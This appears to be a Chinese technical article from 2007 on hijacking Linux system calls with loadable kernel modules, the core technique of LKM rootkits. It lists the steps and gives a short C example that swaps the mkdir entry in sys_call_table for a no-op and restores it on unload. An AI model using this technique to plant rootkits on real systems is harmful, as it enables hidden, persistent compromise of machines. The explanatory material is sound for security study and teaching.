Linux2.4.18内核下基于LKM的系统调用劫持
日期:2007年8月29日 作者: 相关tags: Linux 内核 基于 LKM 系统 调用 劫持Linux现在使用是越来越多了,因此Linux的安全问题现在也慢慢为更多人所关注。Rootkit是攻击者用来隐藏踪迹和保留root访问权限的工具集,在这些工具当中,基于LKM的rootkit尤其受到关注。这些rootkit可以实现隐藏文件、隐藏进程、重定向可执行文件,给linux的安全带来很大的威胁,它们所用到的技术主要是系统调用劫持。用LKM技术截获系统调用的通常步骤如下:
找到需要的系统调用在sys_call_table[]中的入口(参考include/sys/syscall.h)
保存sys_call_table[x]的旧入口指针。(x代表所想要截获的系统调用的索引)
将自定义的新的函数指针存入sys_call_table[x]
在Linux2.4.18内核以前,可以将sys_call_table导出来直接使用。因此修改系统调用非常容易,下面看一个例子:
extern void* sys_call_table[];/*sys_call_table被引入,所以可以存取*/
int (*orig_mkdir)(const char *path); /*保存原始系统调用的函数指针*/
int hacked_mkdir(const char *path)
{return 0; /*一切正常,除了新建操作,该操作什么也不做*/
}
int init_module(void) /*初始化模块*/
{orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*卸载模块*/
{sys_call_table[SYS_mkdir]=orig_mkdir; /*恢复mkdir系统调用到原来的那个*/
}
